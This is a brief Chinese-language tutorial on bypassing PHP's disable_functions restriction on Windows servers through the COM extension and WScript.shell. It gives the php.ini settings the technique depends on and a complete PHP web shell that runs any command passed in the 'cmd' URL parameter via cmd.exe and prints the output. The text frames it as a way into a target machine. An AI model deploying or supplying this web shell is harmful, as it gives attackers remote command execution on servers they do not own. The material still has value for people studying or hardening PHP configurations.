介绍
com组件绕过适用于windows系统,组件可理解为提供某个功能的程序,主要是php代码调用windows下的WScript.shell组件来操作的。wscript.shell
WScript.shell组件可用来操作cmd程序,可调用cmd程序来执行相关命令。在php中我们可以新建组件去调用wscript.shell,然后来操作cmd,从而来执行相关命令。
条件
php默认是不能调用外部组件的,这个需要手动开启,如果目标机开启了相关配置,这种绕过方法才能利用。首先在php.ini中添加扩展:
extension=php_com_dotnet.dll
然后将com.allow_dcom = true前面的分号去掉,取消注释:
com.allow_dcom = true
重启apache即可。
测试
测试代码如下:
<?php header("Content-Type: text/html; charset=gb2312"); $cmd=$_GET['cmd']; $com = new COM('WScript.shell'); $exec = $com->exec('cmd.exe /c '.$cmd); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo "
"
; echo $stroutput; echo "
?>
总结
当程序开发过程中,如果需要用到一些系统上的功能,需要和系统交互,那么就有可能是开启组件支持的,这时如果有disable_functions限制,则可以尝试使用com组件绕过。